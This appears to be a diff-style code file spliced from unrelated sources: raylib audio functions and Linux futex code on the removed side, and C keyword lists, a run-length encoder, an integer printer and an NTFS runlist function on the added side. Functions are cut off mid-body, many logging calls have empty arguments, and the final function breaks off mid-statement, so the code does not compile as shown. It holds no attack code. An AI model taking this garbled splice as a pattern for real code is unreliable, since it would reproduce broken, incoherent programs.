(buffer->playing && !buffer->paused); - - return result; -} - - -// Clone sound from existing sound data, clone does not own wave data -// NOTE: Wave data must be unallocated manually and will be shared across all clones -Sound LoadSoundAlias(Sound source) -{ - Sound sound = { 0 }; - - if (source.stream.buffer->data != NULL) - { - AudioBuffer* audioBuffer = LoadAudioBuffer(AUDIO_DEVICE_FORMAT, AUDIO_DEVICE_CHANNELS, AUDIO.System.device.sampleRate, 0, AUDIO_BUFFER_USAGE_STATIC); - if (audioBuffer == NULL) - { - TRACELOG(LOG_WARNING, ); - return sound; // early return to avoid dereferencing the audioBuffer null pointer - } - audioBuffer->sizeInFrames = source.stream.buffer->sizeInFrames; - audioBuffer->volume = source.stream.buffer->volume; - audioBuffer->data = source.stream.buffer->data; - - sound.frameCount = source.frameCount; - sound.stream.sampleRate = AUDIO.System.device.sampleRate; - sound.stream.sampleSize = 32; - sound.stream.channels = AUDIO_DEVICE_CHANNELS; - sound.stream.buffer = audioBuffer; - } - - return sound; -} - - -// Checks if a sound is ready -bool IsSoundReady(Sound sound) -{ - return ((sound.frameCount > 0) && // Validate frame count - (sound.stream.buffer != NULL) && // Validate stream buffer - (sound.stream.sampleRate > 0) && // Validate sample rate is supported - (sound.stream.sampleSize > 0) && // Validate sample size is supported - (sound.stream.channels > 0)); // Validate number of channels supported -} - -// Unload wave data -void UnloadWave(Wave wave) -{ - RL_FREE(wave.data); - //TRACELOG(LOG_INFO, ); -} - -// Unload sound -void UnloadSound(Sound sound) -{ - UnloadAudioBuffer(sound.stream.buffer); - //TRACELOG(LOG_INFO, ); -} - -void UnloadSoundAlias(Sound alias) -{ - // untrack and unload just the sound buffer, not the sample data, it is shared with the source for the alias - if (alias.stream.buffer != NULL) - { - ma_data_converter_uninit(&alias.stream.buffer->converter, NULL); - UntrackAudioBuffer(alias.stream.buffer); - RL_FREE(alias.stream.buffer); - } -} - -// Play a sound -void PlaySound(Sound sound) -{ - PlayAudioBuffer(sound.stream.buffer); -} - -// Pause a sound -void PauseSound(Sound sound) -{ - PauseAudioBuffer(sound.stream.buffer); -} - -// Resume a paused sound -void ResumeSound(Sound sound) -{ - ResumeAudioBuffer(sound.stream.buffer); -} - -// Stop reproducing a sound -void StopSound(Sound sound) -{ - StopAudioBuffer(sound.stream.buffer); -} - -// Check if a sound is playing -bool IsSoundPlaying(Sound sound) -{ - return IsAudioBufferPlaying(sound.stream.buffer); -} - -// Set volume for a sound -void SetSoundVolume(Sound sound, float volume) -{ - SetAudioBufferVolume(sound.stream.buffer, volume); -} - -// Set pitch for a sound -void SetSoundPitch(Sound sound, float pitch) -{ - SetAudioBufferPitch(sound.stream.buffer, pitch); -} - -// Set pan for a sound -void SetSoundPan(Sound sound, float pan) -{ - SetAudioBufferPan(sound.stream.buffer, pan); -} - -// Convert wave data to desired format -void WaveFormat(Wave *wave, int sampleRate, int sampleSize, int channels) -{ - ma_format formatIn = ((wave->sampleSize == 8)? ma_format_u8 : ((wave->sampleSize == 16)? ma_format_s16 : ma_format_f32)); - ma_format formatOut = ((sampleSize == 8)? ma_format_u8 : ((sampleSize == 16)? ma_format_s16 : ma_format_f32)); - - ma_uint32 frameCountIn = wave->frameCount; - ma_uint32 frameCount = (ma_uint32)ma_convert_frames(NULL, 0, formatOut, channels, sampleRate, NULL, frameCountIn, formatIn, wave->channels, wave->sampleRate); - - if (frameCount == 0) - { - TRACELOG(LOG_WARNING, ); - return; - } - - void *data = RL_MALLOC(frameCount*channels*(sampleSize/8)); - - frameCount = (ma_uint32)ma_convert_frames(data, frameCount, formatOut, channels, sampleRate, wave->data, frameCountIn, formatIn, wave->channels, wave->sampleRate); - if (frameCount == 0) - { - TRACELOG(LOG_WARNING, ); - return; - } - - wave->frameCount = frameCount; - wave->sampleSize = sampleSize; - wave->sampleRate = sampleRate; - wave->channels = channels; - - RL_FREE(wave->data); - wave->data = data; -} - -// Seek music to a certain position (in seconds) -void SeekMusicStream(Music music, float position) -{ - // Seeking is not supported in module formats - if ((music.ctxType == MUSIC_MODULE_XM) || (music.ctxType == MUSIC_MODULE_MOD)) return; - - unsigned int positionInFrames = (unsigned int)(position*music.stream.sampleRate); - - switch (music.ctxType) - { -#if defined(SUPPORT_FILEFORMAT_WAV) - case MUSIC_AUDIO_WAV: drwav_seek_to_pcm_frame((drwav *)music.ctxData, positionInFrames); break; -#endif -#if defined(SUPPORT_FILEFORMAT_OGG) - case MUSIC_AUDIO_OGG: stb_vorbis_seek_frame((stb_vorbis *)music.ctxData, positionInFrames); break; -#endif -#if defined(SUPPORT_FILEFORMAT_MP3) - case MUSIC_AUDIO_MP3: drmp3_seek_to_pcm_frame((drmp3 *)music.ctxData, positionInFrames); break; -#endif -#if defined(SUPPORT_FILEFORMAT_QOA) - case MUSIC_AUDIO_QOA: - { - int qoaFrame = positionInFrames/QOA_FRAME_LEN; - qoaplay_seek_frame((qoaplay_desc *)music.ctxData, qoaFrame); // Seeks to QOA frame, not PCM frame - - // We need to compute QOA frame number and update positionInFrames - positionInFrames = ((qoaplay_desc *)music.ctxData)->sample_position; - } break; -#endif -#if defined(SUPPORT_FILEFORMAT_FLAC) - case MUSIC_AUDIO_FLAC: drflac_seek_to_pcm_frame((drflac *)music.ctxData, positionInFrames); break; -#endif - default: break; - } - - music.stream.buffer->framesProcessed = positionInFrames; -} - -// Update (re-fill) music buffers if data already processed -void UpdateMusicStream(Music music) -{ - if (music.stream.buffer == NULL) return; - - unsigned int subBufferSizeInFrames = music.stream.buffer->sizeInFrames/2; - - // On first call of this function we lazily pre-allocated a temp buffer to read audio files/memory data in - int frameSize = music.stream.channels*music.stream.sampleSize/8; - unsigned int pcmSize = subBufferSizeInFrames*frameSize; - - if (AUDIO.System.pcmBufferSize < pcmSize) - { - RL_FREE(AUDIO.System.pcmBuffer); - AUDIO.System.pcmBuffer = RL_CALLOC(1, pcmSize); - AUDIO.System.pcmBufferSize = pcmSize; - } - - // Check both sub-buffers to check if they require refilling - for (int i = 0; i < 2; i++) - { - if ((music.stream.buffer != NULL) && !music.stream.buffer->isSubBufferProcessed[i]) continue; // No refilling required, move to next sub-buffer - - unsigned int framesLeft = music.frameCount - music.stream.buffer->framesProcessed; // Frames left to be processed - unsigned int framesToStream = 0; // Total frames to be streamed - - if ((framesLeft >= subBufferSizeInFrames) || music.looping) framesToStream = subBufferSizeInFrames; - else framesToStream = framesLeft; - - int frameCountStillNeeded = framesToStream; - int frameCountReadTotal = 0; - - switch (music.ctxType) - { - #if defined(SUPPORT_FILEFORMAT_WAV) - case MUSIC_AUDIO_WAV: - { - if (music.stream.sampleSize == 16) - { - while (true) - { - int frameCountRead = (int)drwav_read_pcm_frames_s16((drwav *)music.ctxData, frameCountStillNeeded, (short *)((char *)AUDIO.System.pcmBuffer + frameCountReadTotal*frameSize)); - frameCountReadTotal += frameCountRead; - frameCountStillNeeded -= frameCountRead; - if (frameCountStillNeeded == 0) break; - else drwav_seek_to_first_pcm_frame((drwav *)music.ctxData); - } - } - else if (music.stream.sampleSize == 32) - { - while (true) - { - int frameCountRead = (int)drwav_read_pcm_frames_f32((drwav *)music.ctxData, frameCountStillNeeded, (float *)((char *)AUDIO.System.pcmBuffer + frameCountReadTotal*frameSize)); - frameCountReadTotal += frameCountRead; - frameCountStillNeeded -= frameCountRead; - if (frameCountStillNeeded == 0) break; - else drwav_seek_to_first_pcm_frame((drwav *)music.ctxData); - } - } - } break; - #endif - #if defined(SUPPORT_FILEFORMAT_OGG) - case MUSIC_AUDIO_OGG: - { - while (true) - { - int frameCountRead = stb_vorbis_get_samples_short_interleaved((stb_vorbis *)music.ctxData, music.stream.channels, (short *)((char *)AUDIO.System.pcmBuffer + frameCountReadTotal*frameSize), frameCountStillNeeded*music.stream.channels); - frameCountReadTotal += frameCountRead; - frameCountStillNeeded -= frameCountRead; - if (frameCountStillNeeded == 0) break; - else stb_vorbis_seek_start((stb_vorbis *)music.ctxData); - } - } break; - #endif - #if defined(SUPPORT_FILEFORMAT_MP3) - case MUSIC_AUDIO_MP3: - { - while (true) - { - int frameCountRead = (int)drmp3_read_pcm_frames_f32((drmp3 *)music.ctxData, frameCountStillNeeded, (float *)((char *)AUDIO.System.pcmBuffer + frameCountReadTotal*frameSize)); - frameCountReadTotal += frameCountRead; - frameCountStillNeeded -= frameCountRead; - if (frameCountStillNeeded == 0) break; - else drmp3_seek_to_start_of_stream((drmp3 *)music.ctxData); - } - } break; - #endif - #if defined(SUPPORT_FILEFORMAT_QOA) - case MUSIC_AUDIO_QOA: - { - unsigned int frameCountRead = qoaplay_decode((qoaplay_desc *)music.ctxData, (float *)AUDIO.System.pcmBuffer, framesToStream); - frameCountReadTotal += frameCountRead; - /* - while (true) - { - int frameCountRead = (int)qoaplay_decode((qoaplay_desc *)music.ctxData, (float *)((char *)AUDIO.System.pcmBuffer + frameCountReadTotal*frameSize), frameCountStillNeeded); - frameCountReadTotal += frameCountRead; - frameCountStillNeeded -= frameCountRead; - if (frameCountStillNeeded == 0) break; - else qoaplay_rewind((qoaplay_desc *)music.ctxData); - } - */ - } break; - #endif - #if defined(SUPPORT_FILEFORMAT_FLAC) - case MUSIC_AUDIO_FLAC: - { - while (true) - { - int frameCountRead = (int)drflac_read_pcm_frames_s16((drflac *)music.ctxData, frameCountStillNeeded, (short *)((char *)AUDIO.System.pcmBuffer + frameCountReadTotal*frameSize)); - frameCountReadTotal += frameCountRead; - frameCountStillNeeded -= frameCountRead; - if (frameCountStillNeeded == 0) break; - else drflac__seek_to_first_frame((drflac *)music.ctxData); - } - } break; - #endif - #if defined(SUPPORT_FILEFORMAT_XM) - case MUSIC_MODULE_XM: - { - // NOTE: Internally we consider 2 channels generation, so sampleCount/2 - if (AUDIO_DEVICE_FORMAT == ma_format_f32) jar_xm_generate_samples((jar_xm_context_t *)music.ctxData, (float *)AUDIO.System.pcmBuffer, framesToStream); - else if (AUDIO_DEVICE_FORMAT == ma_format_s16) jar_xm_generate_samples_16bit((jar_xm_context_t *)music.ctxData, (short *)AUDIO.System.pcmBuffer, framesToStream); - else if (AUDIO_DEVICE_FORMAT == ma_format_u8) jar_xm_generate_samples_8bit((jar_xm_context_t *)music.ctxData, (char *)AUDIO.System.pcmBuffer, framesToStream); - //jar_xm_reset((jar_xm_context_t *)music.ctxData); - - } break; - #endif - #if defined(SUPPORT_FILEFORMAT_MOD) - case MUSIC_MODULE_MOD: - { - // NOTE: 3rd parameter (nbsample) specify the number of stereo 16bits samples you want, so sampleCount/2 - jar_mod_fillbuffer((jar_mod_context_t *)music.ctxData, (short *)AUDIO.System.pcmBuffer, framesToStream, 0); - //jar_mod_seek_start((jar_mod_context_t *)music.ctxData); - - } break; - #endif - default: break; - } - - UpdateAudioStream(music.stream, AUDIO.System.pcmBuffer, framesToStream); - - music.stream.buffer->framesProcessed = music.stream.buffer->framesProcessed%music.frameCount; - - if (framesLeft <= subBufferSizeInFrames) - { - if (!music.looping) - { - // Streaming is ending, we filled latest frames from input - StopMusicStream(music); - return; - } - } - } - - // NOTE: In case window is minimized, music stream is stopped, - // just make sure to play again on window restore - if (IsMusicStreamPlaying(music)) PlayMusicStream(music); -} - -// Get current music time played (in seconds) -float GetMusicTimePlayed(Music music) -{ - float secondsPlayed = 0.0f; - if (music.stream.buffer != NULL) - { -#if defined(SUPPORT_FILEFORMAT_XM) - if (music.ctxType == MUSIC_MODULE_XM) - { - uint64_t framesPlayed = 0; - - jar_xm_get_position(music.ctxData, NULL, NULL, NULL, &framesPlayed); - secondsPlayed = (float)framesPlayed/music.stream.sampleRate; - } +#include +#include +#include + +auto bool break case char const continue default do double else enum +extern false float for goto if inline int long register +restrict return short signed sizeof static static_assert struct switch +typedef union unsigned void volatile while +#define #undef #if #ifdef #ifndef #elif #else #endif #include #define #undef #line #error #pragma +uint8_t uint16_t uint32_t uint64_t int8_t int16_t int32_t int64_t +fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); +assert(size + B <= MEM); +assert(fread(&m[B], sizeof(unsigned char), size, f) == size); +fclose(f); +static int32_t mrlec(unsigned char * in, int32_t inlen, unsigned char * out) { + unsigned char * ip = in; + unsigned char * in_end = in + inlen; + int32_t op = 0; + int32_t c, pc = -1; + int32_t t[256] = { 0 }; + int32_t run = 0; + while ((c = (ip < in_end ? *ip++ : -1)) != -1) { + if (c == pc) + t[c] += (++run % 255) != 0; else -#endif - { - //ma_uint32 frameSizeInBytes = ma_get_bytes_per_sample(music.stream.buffer->dsp.formatConverterIn.config.formatIn)*music.stream.buffer->dsp.formatConverterIn.config.channels; - int framesProcessed = (int)music.stream.buffer->framesProcessed; - int subBufferSize = (int)music.stream.buffer->sizeInFrames/2; - int framesInFirstBuffer = music.stream.buffer->isSubBufferProcessed[0]? 0 : subBufferSize; - int framesInSecondBuffer = music.stream.buffer->isSubBufferProcessed[1]? 0 : subBufferSize; - int framesSentToMix = music.stream.buffer->frameCursorPos%subBufferSize; - int framesPlayed = (framesProcessed - framesInFirstBuffer - framesInSecondBuffer + framesSentToMix)%(int)music.frameCount; - if (framesPlayed < 0) framesPlayed += music.frameCount; - secondsPlayed = (float)framesPlayed/music.stream.sampleRate; - } + --t[c], run = 0; + pc = c; } - - return secondsPlayed; -} - -// Load audio stream (to stream audio pcm data) -AudioStream LoadAudioStream(unsigned int sampleRate, unsigned int sampleSize, unsigned int channels) -{ - AudioStream stream = { 0 }; - - stream.sampleRate = sampleRate; - stream.sampleSize = sampleSize; - stream.channels = channels; - - ma_format formatIn = ((stream.sampleSize == 8)? ma_format_u8 : ((stream.sampleSize == 16)? ma_format_s16 : ma_format_f32)); - - // The size of a streaming buffer must be at least double the size of a period - unsigned int periodSize = AUDIO.System.device.playback.internalPeriodSizeInFrames; - - // If the buffer is not set, compute one that would give us a buffer good enough for a decent frame rate - unsigned int subBufferSize = (AUDIO.Buffer.defaultSize == 0)? AUDIO.System.device.sampleRate/30 : AUDIO.Buffer.defaultSize; - - if (subBufferSize < periodSize) subBufferSize = periodSize; - - // Create a double audio buffer of defined size - stream.buffer = LoadAudioBuffer(formatIn, stream.channels, stream.sampleRate, subBufferSize*2, AUDIO_BUFFER_USAGE_STREAM); - - if (stream.buffer != NULL) - { - stream.buffer->looping = true; // Always loop for streaming buffers - TRACELOG(LOG_INFO, ); + for (int32_t i = 0; i < 32; ++i) { + c = 0; + for (int32_t j = 0; j < 8; ++j) c += (t[i * 8 + j] > 0) << j; + out[op++] = c; } - else TRACELOG(LOG_WARNING, ); + ip = in; + c = pc = -1; + run = 0; + do { + c = ip < in_end ? *ip++ : -1; + if (c == pc) + ++run; + else if (run > 0 && t[pc] > 0) { + out[op++] = pc; + for (; run > 255; run -= 255) out[op++] = 255; + out[op++] = run - 1; + run = 1; + } else + for (++run; run > 1; --run) out[op++] = pc; + pc = c; + } while (c != -1); - return stream; + return op; } - -// Checks if an audio stream is ready -bool IsAudioStreamReady(AudioStream stream) -{ - return ((stream.buffer != NULL) && // Validate stream buffer - (stream.sampleRate > 0) && // Validate sample rate is supported - (stream.sampleSize > 0) && // Validate sample size is supported - (stream.channels > 0)); // Validate number of channels supported -} - -// Unload audio stream and free memory -void UnloadAudioStream(AudioStream stream) -{ - UnloadAudioBuffer(stream.buffer); - - TRACELOG(LOG_INFO, ); -} - -// Update audio stream buffers with data -// NOTE 1: Only updates one buffer of the stream source: dequeue -> update -> queue -// NOTE 2: To dequeue a buffer it needs to be processed: IsAudioStreamProcessed() -void UpdateAudioStream(AudioStream stream, const void *data, int frameCount) -{ - if (stream.buffer != NULL) - { - if (stream.buffer->isSubBufferProcessed[0] || stream.buffer->isSubBufferProcessed[1]) - { - ma_uint32 subBufferToUpdate = 0; - - if (stream.buffer->isSubBufferProcessed[0] && stream.buffer->isSubBufferProcessed[1]) - { - // Both buffers are available for updating. - // Update the first one and make sure the cursor is moved back to the front. - subBufferToUpdate = 0; - stream.buffer->frameCursorPos = 0; - } - else - { - // Just update whichever sub-buffer is processed. - subBufferToUpdate = (stream.buffer->isSubBufferProcessed[0])? 0 : 1; - } - - ma_uint32 subBufferSizeInFrames = stream.buffer->sizeInFrames/2; - unsigned char *subBuffer = stream.buffer->data + ((subBufferSizeInFrames*stream.channels*(stream.sampleSize/8))*subBufferToUpdate); - - // Total frames processed in buffer is always the complete size, filled with 0 if required - stream.buffer->framesProcessed += subBufferSizeInFrames; - - // Does this API expect a whole buffer to be updated in one go? - // Assuming so, but if not will need to change this logic. - if (subBufferSizeInFrames >= (ma_uint32)frameCount) - { - ma_uint32 framesToWrite = (ma_uint32)frameCount; - - ma_uint32 bytesToWrite = framesToWrite*stream.channels*(stream.sampleSize/8); - memcpy(subBuffer, data, bytesToWrite); - - // Any leftover frames should be filled with zeros. - ma_uint32 leftoverFrameCount = subBufferSizeInFrames - framesToWrite; - - if (leftoverFrameCount > 0) memset(subBuffer + bytesToWrite, 0, leftoverFrameCount*stream.channels*(stream.sampleSize/8)); - - stream.buffer->isSubBufferProcessed[subBufferToUpdate] = false; - } - else TRACELOG(LOG_WARNING, ); - } - else TRACELOG(LOG_WARNING, ); +void put_int(int i) { + if (i < 0) { + putchar('-'); + i *= -1; } + char buf[10]; + int j = 0; + do { + buf[j++] = i % 10 + '0'; + i /= 10; + } while (i > 0); + while (j > 0) putchar(buf[--j]); } - -// Main mixing function, pretty simple in this project, just an accumulation -// NOTE: framesOut is both an input and an output, it is initially filled with zeros outside of this function -static void MixAudioFrames(float *framesOut, const float *framesIn, ma_uint32 frameCount, AudioBuffer *buffer) +int ntfs_map_runlist_nolock(ntfs_inode *ni, VCN vcn, ntfs_attr_search_ctx *ctx) { - const float localVolume = buffer->volume; - const ma_uint32 channels = AUDIO.System.device.playback.channels; + VCN end_vcn; + unsigned long flags; + ntfs_inode *base_ni; + MFT_RECORD *m; + ATTR_RECORD *a; + runlist_element *rl; + struct page *put_this_page = NULL; + int err = 0; + bool ctx_is_temporary, ctx_needs_reset; + ntfs_attr_search_ctx old_ctx = { NULL, }; - if (channels == 2) // We consider panning - { - const float left = buffer->pan; - const float right = 1.0f - left; - - // Fast sine approximation in [0..1] for pan law: y = 0.5f*x*(3 - x*x); - const float levels[2] = { localVolume*0.5f*left*(3.0f - left*left), localVolume*0.5f*right*(3.0f - right*right) }; - - float *frameOut = framesOut; - const float *frameIn = framesIn; - - for (ma_uint32 frame = 0; frame < frameCount; frame++) - { - frameOut[0] += (frameIn[0]*levels[0]); - frameOut[1] += (frameIn[1]*levels[1]); - - frameOut += 2; - frameIn += 2; - } - } - else // We do not consider panning - { - for (ma_uint32 frame = 0; frame < frameCount; frame++) - { - for (ma_uint32 c = 0; c < channels; c++) - { - float *frameOut = framesOut + (frame*channels); - const float *frameIn = framesIn + (frame*channels); - - // Output accumulates input multiplied by volume to provided output (usually 0) - frameOut[c] += (frameIn[c]*localVolume); - } - } - } -} - -// Some required functions for audio standalone module version -#if defined(RAUDIO_STANDALONE) -// Check file extension -static bool IsFileExtension(const char *fileName, const char *ext) -{ - bool result = false; - const char *fileExt; - - if ((fileExt = strrchr(fileName, '.')) != NULL) - { - if (strcmp(fileExt, ext) == 0) result = true; - } - - return result; -} - -/** - * futex_top_waiter() - Return the highest priority waiter on a futex - * @hb: the hash bucket the futex_q's reside in - * @key: the futex key (to distinguish it from other futex futex_q's) - * - * Must be called with the hb lock held. - */ -struct futex_q *futex_top_waiter(struct futex_hash_bucket *hb, union futex_key *key) -{ - struct futex_q *this; - - plist_for_each_entry(this, &hb->chain, list) { - if (futex_match(&this->key, key)) - return this; - } - return NULL; -} - -int futex_cmpxchg_value_locked(u32 *curval, u32 __user *uaddr, u32 uval, u32 newval) -{ - int ret; - - pagefault_disable(); - ret = futex_atomic_cmpxchg_inatomic(curval, uaddr, uval, newval); - pagefault_enable(); - - return ret; -} - -int futex_get_value_locked(u32 *dest, u32 __user *from) -{ - int ret; - - pagefault_disable(); - ret = __get_user(*dest, from); - pagefault_enable(); - - return ret ? -EFAULT : 0; -} - -/** - * wait_for_owner_exiting - Block until the owner has exited - * @ret: owner's current futex lock status - * @exiting: Pointer to the exiting task - * - * Caller must hold a refcount on @exiting. - */ -void wait_for_owner_exiting(int ret, struct task_struct *exiting) -{ - if (ret != -EBUSY) { - WARN_ON_ONCE(exiting); - return; - } - - if (WARN_ON_ONCE(ret == -EBUSY && !exiting)) - return; - - mutex_lock(&exiting->futex_exit_mutex); - /* - * No point in doing state checking here. If the waiter got here - * while the task was in exec()->exec_futex_release() then it can - * have any FUTEX_STATE_* value when the waiter has acquired the - * mutex. OK, if running, EXITING or DEAD if it reached exit() - * already. Highly unlikely and not a problem. Just one more round - * through the futex maze. - */ - mutex_unlock(&exiting->futex_exit_mutex); - - put_task_struct(exiting); -} - -/** - * __futex_unqueue() - Remove the futex_q from its futex_hash_bucket - * @q: The futex_q to unqueue - * - * The q->lock_ptr must not be NULL and must be held by the caller. - */ -void __futex_unqueue(struct futex_q *q) -{ - struct futex_hash_bucket *hb; - - if (WARN_ON_SMP(!q->lock_ptr) || WARN_ON(plist_node_empty(&q->list))) - return; - lockdep_assert_held(q->lock_ptr); - - hb = container_of(q->lock_ptr, struct futex_hash_bucket, lock); - plist_del(&q->list, &hb->chain); - futex_hb_waiters_dec(hb); -} - -/* The key must be already stored in q->key. */ -struct futex_hash_bucket *futex_q_lock(struct futex_q *q) - __acquires(&hb->lock) -{ - struct futex_hash_bucket *hb; - - hb = futex_hash(&q->key); - - /* - * Increment the counter before taking the lock so that - * a potential waker won't miss a to-be-slept task that is - * waiting for the spinlock. This is safe as all futex_q_lock() - * users end up calling futex_queue(). Similarly, for housekeeping, - * decrement the counter at futex_q_unlock() when some error has - * occurred and we don't end up adding the task to the list. - */ - futex_hb_waiters_inc(hb); /* implies smp_mb(); (A) */ - - q->lock_ptr = &hb->lock; - - spin_lock(&hb->lock); - return hb; -} - -void futex_q_unlock(struct futex_hash_bucket *hb) - __releases(&hb->lock) -{ - spin_unlock(&hb->lock); - futex_hb_waiters_dec(hb); -} - -int futex_unqueue(struct futex_q *q) -{ - spinlock_t *lock_ptr; - int ret = 0; - - /* In the common case we don't take the spinlock, which is nice. */ -retry: - /* - * q->lock_ptr can change between this read and the following spin_lock. - * Use READ_ONCE to forbid the compiler from reloading q->lock_ptr and - * optimizing lock_ptr out of the logic below. - */ - lock_ptr = READ_ONCE(q->lock_ptr); - if (lock_ptr != NULL) { - spin_lock(lock_ptr); - /* - * q->lock_ptr can change between reading it and - * spin_lock(), causing us to take the wrong lock. This - * corrects the race condition. - * - * Reasoning goes like this: if we have the wrong lock, - * q->lock_ptr must have changed (maybe several times) - * between reading it and the spin_lock(). It can - * change again after the spin_lock() but only if it was - * already changed before the spin_lock(). It cannot, - * however, change back to the original value. Therefore - * we can detect whether we acquired the correct lock. - */ - if (unlikely(lock_ptr != q->lock_ptr)) { - spin_unlock(lock_ptr); - goto retry; + ntfs_debug("Mapping runlist part containing vcn 0x%llx.", + (unsigned long long)vcn); + if (!NInoAttr(ni)) + base_ni = ni; + else + base_ni = ni->ext.base_ntfs_ino; + if (!ctx) { + ctx_is_temporary = ctx_needs_reset = true; + m = map_mft_record(base_ni); + if (IS_ERR(m)) + return PTR_ERR(m); + ctx = ntfs_attr_get_search_ctx(base_ni, m); + if (unlikely(!ctx)) { + err = -ENOMEM; + goto err_out; } - __futex_unqueue(q); + } else { + VCN allocated_size_vcn; - BUG_ON(q->pi_state); - - spin_unlock(lock_ptr); - ret = 1; - } - - return ret; -} - -/* - * PI futexes can not be requeued and must remove themselves from the - * hash bucket. The hash bucket lock (i.e. lock_ptr) is held. - */ -void futex_unqueue_pi(struct futex_q *q) -{ - __futex_unqueue(q); - - BUG_ON(!q->pi_state); - put_pi_state(q->pi_state); - q->pi_state = NULL; -} - -/* Constants for the pending_op argument of handle_futex_death */ -#define HANDLE_DEATH_PENDING true -#define HANDLE_DEATH_LIST false - -#ifdef CONFIG_COMPAT -static void __user *futex_uaddr(struct robust_list __user *entry, - compat_long_t futex_offset) -{ - compat_uptr_t base = ptr_to_compat(entry); - void __user *uaddr = compat_ptr(base + futex_offset); - - return uaddr; -} - -/* - * Fetch a robust-list pointer. Bit 0 signals PI futexes: - */ -static inline int -compat_fetch_robust_entry(compat_uptr_t *uentry, struct robust_list __user **entry, - compat_uptr_t __user *head, unsigned int *pi) -{ - if (get_user(*uentry, head)) - return -EFAULT; - - *entry = compat_ptr((*uentry) & ~1); - *pi = (unsigned int)(*uentry) & 1; - - return 0; -} -static void compat_exit_robust_list(struct task_struct *curr) -{ - struct compat_robust_list_head __user *head = curr->compat_robust_list; - struct robust_list __user *entry, *next_entry, *pending; - unsigned int limit = ROBUST_LIST_LIMIT, pi, pip; - unsigned int next_pi; - compat_uptr_t uentry, next_uentry, upending; - compat_long_t futex_offset; - int rc; - next_entry = NULL; /* avoid warning with gcc */ - while (entry != (struct robust_list __user *) &head->list) { + BUG_ON(IS_ERR(ctx->mrec)); + a = ctx->attr; + BUG_ON(!a->non_resident); + ctx_is_temporary = false; + end_vcn = sle64_to_cpu(a->data.non_resident.highest_vcn); + read_lock_irqsave(&ni->size_lock, flags); + allocated_size_vcn = ni->allocated_size >> + ni->vol->cluster_size_bits; + read_unlock_irqrestore(&ni->size_lock, flags); + if (!a->data.non_resident.lowest_vcn && end_vcn <= 0) + end_vcn = allocated_size_vcn - 1; /* - * Fetch the next entry in the list before calling - * handle_futex_death: + * If we already have the attribute extent containing @vcn in + * @ctx, no need to look it up again. We slightly cheat in + * that if vcn exceeds the allocated size, we will refuse to + * map the runlist below, so there is definitely no need to get + * the right attribute extent. */ - rc = compat_fetch_robust_entry(&next_uentry, &next_entry, - (compat_uptr_t __user *)&entry->next, &next_pi); - /* - * A pending lock might already be on the list, so - * dont process it twice: - */ - if (entry != pending) { - void __user *uaddr = futex_uaddr(entry, futex_offset); - - if (handle_futex_death(uaddr, curr, pi, - HANDLE_DEATH_LIST)) - return; + if (vcn >= allocated_size_vcn || (a->type == ni->type && + a->name_length == ni->name_len && + !memcmp((u8*)a + le16_to_cpu(a->name_offset), + ni->name, ni->name_len) && + sle64_to_cpu(a->data.non_resident.lowest_vcn) + <= vcn && end_vcn >= vcn)) + ctx_needs_reset = false; + else { + /* Save the old search context. */ + old_ctx = *ctx; + /* + * If the currently mapped (extent) inode is not the + * base inode we will unmap it when we reinitialize the + * search context which means we need to get a + * reference to the page containing the mapped mft + * record so we do not accidentally drop changes to the + * mft record when it has not been marked dirty yet. + */ + if (old_ctx.base_ntfs_ino && old_ctx.ntfs_ino != + old_ctx.base_ntfs_ino) { + put_this_page = old_ctx.ntfs_ino->page; + get_page(put_this_page); + } + /* + * Reinitialize the search context so we can lookup the + * needed attribute extent. + */ + ntfs_attr_reinit_search_ctx(ctx); + ctx_needs_reset = true; } - if (rc) - return; - uentry = next_uentry; - entry = next_entry; - pi = next_pi; - /* - * Avoid excessively long or circular lists: - */ - if (!--limit) - break; - - cond_resched(); } - if (pending) { - void __user *uaddr = futex_uaddr(pending, futex_offset); - - handle_futex_death(uaddr, curr, pip, HANDLE_DEATH_PENDING); - } -} -#endif - -#ifdef CONFIG_FUTEX_PI - -static void exit_pi_state_list(struct task_struct *curr) -{ - struct list_head *next, *head = &curr->pi_state_list; - struct futex_pi_state *pi_state; - struct futex_hash_bucket *hb; - union futex_key key = FUTEX_KEY_INIT; - while (!list_empty(head)) { - next = head->next; - pi_state = list_entry(next, struct futex_pi_state, list); - key = pi_state->key; - hb = futex_hash(&key); - if (!refcount_inc_not_zero(&pi_state->refcount)) { - raw_spin_unlock_irq(&curr->pi_lock); - cpu_relax(); - raw_spin_lock_irq(&curr->pi_lock); - continue; + if (ctx_needs_reset) { + err = ntfs_attr_lookup(ni->type, ni->name, ni->name_len, + CASE_SENSITIVE, vcn, NULL, 0, ctx); + if (unlikely(err)) { + if (err == -ENOENT) + err = -EIO; + goto err_out; } - raw_spin_unlock_irq(&curr->pi_lock); - - spin_lock(&hb->lock); - raw_spin_lock_irq(&pi_state->pi_mutex.wait_lock); - raw_spin_lock(&curr->pi_lock); + BUG_ON(!ctx->attr->non_resident); + } + a = ctx->attr; + /* + * Only decompress the mapping pairs if @vcn is inside it. Otherwise + * we get into problems when we try to map an out of bounds vcn because + * we then try to map the already mapped runlist fragment and + * ntfs_mapping_pairs_decompress() fails. + */ + end_vcn = sle64_to_cpu(a->data.non_resident.highest_vcn) + 1; + if (unlikely(vcn && vcn >= end_vcn)) { + err = -ENOENT; + goto err_out; + } + rl = ntfs_mapping_pairs_decompress(ni->vol, a, ni->runlist.rl); + if (IS_ERR(rl)) + err = PTR_ERR(rl); + else + ni->runlist.rl = rl; +err_out: + if (ctx_is_temporary) { + if (likely(ctx)) + ntfs_attr_put_search_ctx(ctx); + unmap_mft_record(base_ni); + } else if (ctx_needs_reset) { /* - * We dropped the pi-lock, so re-check whether this - * task still owns the PI-state: + * If there is no attribute list, restoring the search context + * is accomplished simply by copying the saved context back over + * the caller supplied context. If there is an attribute list, + * things are more complicated as we need to deal with mapping + * of mft records and resulting potential changes in pointers. */ - if (head->next != next) { - /* retain curr->pi_lock for the loop invariant */ - raw_spin_unlock(&pi_state->pi_mutex.wait_lock); - spin_unlock(&hb->lock); - put_pi_state(pi_state); - continue; + if (NInoAttrList(base_ni)) { + /* + * If the currently mapped (extent) inode is not the + * one we had before, we need to unmap it and map the + * old one. + */ + if (ctx->ntfs_ino != old_ctx.ntfs_ino) { + /* + * If the currently mapped inode is not the + * base inode, unmap it. + */ + if (ctx->base_ntfs_ino && ctx->ntfs_ino != + ctx->base_ntfs_ino) { + unmap_extent_mft_record(ctx->ntfs_ino); + ctx->mrec = ctx->base_mrec; + BUG_ON(!ctx->mrec); + } + /* + * If the old mapped inode is not the base + * inode, map it. + */ + if 